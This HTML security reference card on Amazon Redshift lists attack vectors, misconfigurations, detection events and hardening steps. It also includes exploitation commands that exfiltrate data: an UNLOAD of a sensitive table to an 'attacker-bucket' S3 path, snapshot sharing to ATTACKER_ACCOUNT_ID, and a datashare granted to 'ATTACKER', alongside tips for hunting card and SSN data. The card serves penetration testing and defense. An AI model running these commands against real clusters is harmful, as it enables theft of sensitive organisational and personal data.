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<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>AWS Redshift Security | AWS Security Cards</title>
<meta name="description" content="Amazon Redshift is a petabyte-scale data warehouse. Contains business-critical analytics data, often including PII, financial records, and aggregated sensitive information from multiple sources.">
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</head>
<body>
<!-- Card Image -->
<div class="card-image">
<img src="../images/redshift-card.webp" alt="AWS Redshift Security" />
</div>
<!-- Header -->
<div class="header">
<div class="header-content">
<div class="header-icon"><img src="../icons/redshift.svg" alt="AWS Redshift Security" /></div>
<div>
<div>
<span class="header-title">AWS Redshift Security</span>
<span class="header-badge">DATA WAREHOUSE</span>
</div>
<p class="header-desc">Amazon Redshift is a petabyte-scale data warehouse. Contains business-critical analytics data, often including PII, financial records, and aggregated sensitive information from multiple sources.</p>
</div>
</div>
</div>
<!-- Stats -->
<div class="stats-row">
<div class="stat-card">
<div class="stat-value" style="color: #f87171;">CRITICAL</div>
<div class="stat-label">Risk Level</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #4ade80;">Regional</div>
<div class="stat-label">Scope</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #60a5fa;">5439</div>
<div class="stat-label">Default Port</div>
</div>
<div class="stat-card">
<div class="stat-value" style="color: #c084fc;">PostgreSQL</div>
<div class="stat-label">Protocol</div>
</div></div>
<!-- Overview -->
<div class="section"><h2><span style="color:#06b6d4;">📋</span> Service Overview</h2><div class="overview-grid">
<div>
<h4 style="color: #06b6d4;">Redshift Clusters</h4>
<p>Massively parallel processing (MPP) clusters for analytics workloads. Uses PostgreSQL-compatible SQL. Stores petabytes of structured data from multiple business sources.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Redshift credentials often shared across teams. Look for credentials in code, Secrets Manager, or Parameter Store.</div>
</div>
<div>
<h4 style="color: #06b6d4;">Snapshots & Data Sharing</h4>
<p>Automated and manual snapshots for backup and cross-region/account sharing. Data sharing allows direct access across accounts without copying data.</p>
<div class="attack-note"><span style="color:#06b6d4;">Attack note:</span> Snapshots can be shared cross-account for exfiltration. Data shares may expose production data to dev accounts.</div>
</div></div></div>
<!-- Risk Assessment -->
<div class="section">
<h2>Security Risk Assessment</h2>
<div class="risk-gauge">
<div class="risk-bar-container">
<div class="risk-bar">
<div class="risk-bar-fill" style="width: 92%;"></div>
</div>
<div class="risk-labels"><span>Low</span><span>Medium</span><span>High</span><span>Critical</span></div>
</div>
<div class="risk-score">
<div class="risk-score-value">9.2</div>
<div class="risk-score-label">Risk Score</div>
</div>
</div>
<p class="risk-desc">Redshift contains aggregated business intelligence data - crown jewels. Compromising Redshift often means access to the most sensitive data in the organization across multiple source systems.</p>
</div>
<!-- Main Panels -->
<div class="panels-grid">
<div class="panel" style="border-color: #f8717133;">
<h3 style="color: #f87171;">⚔️ Attack Vectors</h3><h4 style="color: #f87171;">Direct Access</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> Credential theft from Secrets Manager</li><li><span class="bullet" style="color: #f87171;">•</span> SQL injection in BI applications</li><li><span class="bullet" style="color: #f87171;">•</span> IAM authentication abuse</li><li><span class="bullet" style="color: #f87171;">•</span> Snapshot sharing to attacker account</li><li><span class="bullet" style="color: #f87171;">•</span> Public cluster endpoint exposure</li></ul><h4 style="color: #f87171;">Data Exfiltration</h4><ul><li><span class="bullet" style="color: #f87171;">•</span> UNLOAD to attacker S3 bucket</li><li><span class="bullet" style="color: #f87171;">•</span> COPY to external Redshift</li><li><span class="bullet" style="color: #f87171;">•</span> Cross-account data sharing</li><li><span class="bullet" style="color: #f87171;">•</span> Snapshot copy to external account</li><li><span class="bullet" style="color: #f87171;">•</span> Federated query to external targets</li></ul></div>
<div class="panel" style="border-color: #fb923c33;">
<h3 style="color: #fb923c;">⚠️ Misconfigurations</h3><h4 style="color: #fb923c;">Access Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Publicly accessible cluster</li><li><span class="bullet" style="color: #fb923c;">•</span> Weak master user password</li><li><span class="bullet" style="color: #fb923c;">•</span> No IAM authentication</li><li><span class="bullet" style="color: #fb923c;">•</span> Security group allows 0.0.0.0/0</li><li><span class="bullet" style="color: #fb923c;">•</span> Same credentials for prod/dev</li></ul><h4 style="color: #fb923c;">Data Protection Issues</h4><ul><li><span class="bullet" style="color: #fb923c;">•</span> Encryption at rest disabled</li><li><span class="bullet" style="color: #fb923c;">•</span> Audit logging disabled</li><li><span class="bullet" style="color: #fb923c;">•</span> No SSL enforcement</li><li><span class="bullet" style="color: #fb923c;">•</span> Snapshots shared publicly</li><li><span class="bullet" style="color: #fb923c;">•</span> UNLOAD to public S3 buckets</li></ul></div>
<div class="panel" style="border-color: #22d3ee33;">
<h3 style="color: #22d3ee;">🔍 Enumeration</h3>
<div class="cmd-block">
<div class="cmd-title">List Clusters</div>
<pre><code>aws redshift describe-clusters</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get Cluster Endpoint</div>
<pre><code>aws redshift describe-clusters \\
--query 'Clusters[].Endpoint'</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Snapshots</div>
<pre><code>aws redshift describe-cluster-snapshots</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Check Public Access</div>
<pre><code>aws redshift describe-clusters \\
--query 'Clusters[].PubliclyAccessible'</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List Data Shares</div>
<pre><code>aws redshift describe-data-shares</code></pre>
</div></div>
<div class="panel" style="border-color: #c084fc33;">
<h3 style="color: #c084fc;">💉 SQL Exploitation</h3><h4 style="color: #c084fc;">Reconnaissance Queries</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> SELECT * FROM pg_tables - list tables</li><li><span class="bullet" style="color: #c084fc;">•</span> SELECT * FROM pg_user - list users</li><li><span class="bullet" style="color: #c084fc;">•</span> SELECT * FROM svv_columns - column info</li><li><span class="bullet" style="color: #c084fc;">•</span> SELECT * FROM stl_query - query history</li><li><span class="bullet" style="color: #c084fc;">•</span> SELECT * FROM svl_user_info - user details</li></ul><h4 style="color: #c084fc;">Sensitive Data Queries</h4><ul><li><span class="bullet" style="color: #c084fc;">•</span> Query STL_CONNECTION_LOG for IPs</li><li><span class="bullet" style="color: #c084fc;">•</span> Query STL_USERLOG for user activity</li><li><span class="bullet" style="color: #c084fc;">•</span> Query pg_catalog for schema info</li><li><span class="bullet" style="color: #c084fc;">•</span> Search for credit card patterns</li><li><span class="bullet" style="color: #c084fc;">•</span> Search for SSN patterns</li></ul><div class="note"><strong>Pro tip:</strong> Check SVV_EXTERNAL_TABLES for federated access to S3 data lakes.</div></div>
<div class="panel" style="border-color: #facc1533;">
<h3 style="color: #facc15;">📤 Data Exfiltration</h3><h4 style="color: #facc15;">UNLOAD to S3</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> UNLOAD to attacker-controlled bucket</li><li><span class="bullet" style="color: #facc15;">•</span> Use ALLOWOVERWRITE to replace files</li><li><span class="bullet" style="color: #facc15;">•</span> PARALLEL OFF for single large file</li><li><span class="bullet" style="color: #facc15;">•</span> FORMAT CSV for easy processing</li><li><span class="bullet" style="color: #facc15;">•</span> ENCRYPTED with attacker KMS key</li></ul><h4 style="color: #facc15;">Snapshot Techniques</h4><ul><li><span class="bullet" style="color: #facc15;">•</span> Share snapshot to external account</li><li><span class="bullet" style="color: #facc15;">•</span> Copy snapshot to external region</li><li><span class="bullet" style="color: #facc15;">•</span> Restore in attacker account</li><li><span class="bullet" style="color: #facc15;">•</span> Grant snapshot access to *</li><li><span class="bullet" style="color: #facc15;">•</span> Automate with scheduled snapshots</li></ul></div>
<div class="panel" style="border-color: #4ade8033;">
<h3 style="color: #4ade80;">🛡️ Detection</h3><h4 style="color: #4ade80;">CloudTrail Events</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> AuthorizeSnapshotAccess - sharing</li><li><span class="bullet" style="color: #4ade80;">•</span> CreateClusterSnapshot - backup</li><li><span class="bullet" style="color: #4ade80;">•</span> ModifyClusterSnapshotSchedule - schedule</li><li><span class="bullet" style="color: #4ade80;">•</span> ModifyCluster - config change</li><li><span class="bullet" style="color: #4ade80;">•</span> GetClusterCredentials - IAM auth</li></ul><h4 style="color: #4ade80;">Audit Logging (STL Tables)</h4><ul><li><span class="bullet" style="color: #4ade80;">•</span> stl_connection_log - connections</li><li><span class="bullet" style="color: #4ade80;">•</span> stl_query - executed queries</li><li><span class="bullet" style="color: #4ade80;">•</span> stl_ddltext - DDL statements</li><li><span class="bullet" style="color: #4ade80;">•</span> stl_userlog - user changes</li><li><span class="bullet" style="color: #4ade80;">•</span> stl_undone - rolled back queries</li></ul></div></div>
<!-- Exploitation -->
<div class="section"><h2><span style="color:#f87171;">💻</span> Exploitation Commands</h2><div class="cmd-grid">
<div class="cmd-block">
<div class="cmd-title">Connect with psql</div>
<pre><code>psql -h cluster.xxx.region.redshift.amazonaws.com \\
-U admin -d database -p 5439</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Get IAM Credentials</div>
<pre><code>aws redshift get-cluster-credentials \\
--cluster-identifier my-cluster \\
--db-user admin \\
--db-name database</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">UNLOAD Data to S3</div>
<pre><code>UNLOAD ('SELECT * FROM sensitive_table')
TO 's3://attacker-bucket/exfil/'
IAM_ROLE 'arn:aws:iam::123456789012:role/RedshiftRole'
FORMAT CSV
ALLOWOVERWRITE;</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Share Snapshot Cross-Account</div>
<pre><code>aws redshift authorize-snapshot-access \\
--snapshot-identifier my-snapshot \\
--account-with-restore-access ATTACKER_ACCOUNT_ID</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">List All Tables</div>
<pre><code>SELECT schemaname, tablename
FROM pg_tables
WHERE schemaname NOT IN ('pg_catalog', 'information_schema');</code></pre>
</div>
<div class="cmd-block">
<div class="cmd-title">Create Data Share (Exfil)</div>
<pre><code>CREATE DATASHARE exfil_share;
ALTER DATASHARE exfil_share ADD SCHEMA public;
GRANT USAGE ON DATASHARE exfil_share TO ACCOUNT 'ATTACKER';</code></pre>
</div></div></div>
<!-- Policies -->
<div class="section"><h2><span style="color:#4ade80;">📜</span> Policy Examples</h2><div class="policy-grid">
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Dangerous - Public Cluster</span>
</div>
<pre><code>Cluster Configuration:
PubliclyAccessible: true
Encrypted: false
EnhancedVpcRouting: false
Security Group:
Inbound: 0.0.0.0/0:5439 (ALLOW)</code></pre>
<p class="policy-desc">Public endpoint, no encryption, open security group - fully exposed</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Private VPC</span>
</div>
<pre><code>Cluster Configuration:
PubliclyAccessible: false
Encrypted: true
KmsKeyId: arn:aws:kms:...:key/xxx
EnhancedVpcRouting: true
Security Group:
Inbound: sg-app-servers:5439 (ALLOW)</code></pre>
<p class="policy-desc">Private, encrypted, enhanced VPC routing, restricted security group</p>
</div>
<div class="policy-card" style="border-color: #ef444433; background: rgba(239,68,68,0.05);">
<div class="policy-header">
<span style="color: #f87171; font-size: 1.2em;">✗</span>
<span style="color: #f87171; font-weight: 600;">Risky - Overly Permissive IAM Role</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"s3:*",
"redshift:*"
],
"Resource": "*"
}
// Attached to Redshift cluster</code></pre>
<p class="policy-desc">Cluster role can access any S3 bucket - data exfil risk</p>
</div>
<div class="policy-card" style="border-color: #22c55e33; background: rgba(34,197,94,0.05);">
<div class="policy-header">
<span style="color: #4ade80; font-size: 1.2em;">✓</span>
<span style="color: #4ade80; font-weight: 600;">Secure - Least Privilege IAM</span>
</div>
<pre><code>{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:ListBucket"
],
"Resource": [
"arn:aws:s3:::data-lake-bucket",
"arn:aws:s3:::data-lake-bucket/*"
],
"Condition": {
"StringEquals": {"aws:SourceVpc": "vpc-xxx"}
}
}</code></pre>
<p class="policy-desc">Limited to specific bucket with VPC condition</p>
</div></div></div>
<!-- Defenses -->
<div class="section"><h2><span style="color:#4ade80;">🛡️</span> Defense Recommendations</h2><div class="defense-grid">
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔒</span>
<div>
<h4>Deploy in Private VPC</h4>
<p>Never make Redshift publicly accessible. Use VPN or Direct Connect.</p>
<pre><code>aws redshift modify-cluster \\
--cluster-identifier my-cluster \\
--no-publicly-accessible</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔐</span>
<div>
<h4>Enable Encryption</h4>
<p>Encrypt at rest with KMS and enforce SSL connections.</p>
<pre><code>aws redshift modify-cluster \\
--cluster-identifier my-cluster \\
--encrypted \\
--kms-key-id arn:aws:kms:...:key/xxx</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">📝</span>
<div>
<h4>Enable Audit Logging</h4>
<p>Send audit logs to S3 for security monitoring.</p>
<pre><code>aws redshift enable-logging \\
--cluster-identifier my-cluster \\
--bucket-name audit-logs \\
--s3-key-prefix redshift/</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">👤</span>
<div>
<h4>Use IAM Authentication</h4>
<p>Replace static passwords with IAM credentials.</p>
<pre><code>aws redshift get-cluster-credentials \\
--cluster-identifier my-cluster \\
--db-user IAM:username</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🚫</span>
<div>
<h4>Restrict Snapshot Sharing</h4>
<p>Use SCP to prevent sharing snapshots outside organization.</p>
<pre><code>"Effect": "Deny",
"Action": "redshift:AuthorizeSnapshotAccess",
"Condition": {"StringNotEquals": {"aws:PrincipalOrgID": "o-xxx"}}</code></pre>
</div>
</div>
</div>
<div class="defense-card">
<div class="defense-header">
<span class="defense-icon">🔍</span>
<div>
<h4>Monitor UNLOAD Operations</h4>
<p>Alert on UNLOAD to unauthorized S3 buckets via query logging.</p>
</div>
</div>
</div></div></div>
<!-- Footer -->
<div class="footer">
<p>AWS Redshift Security Card</p>
<p style="margin-top:0.25rem;">Always obtain proper authorization before testing</p>
</div>
</body>
</html>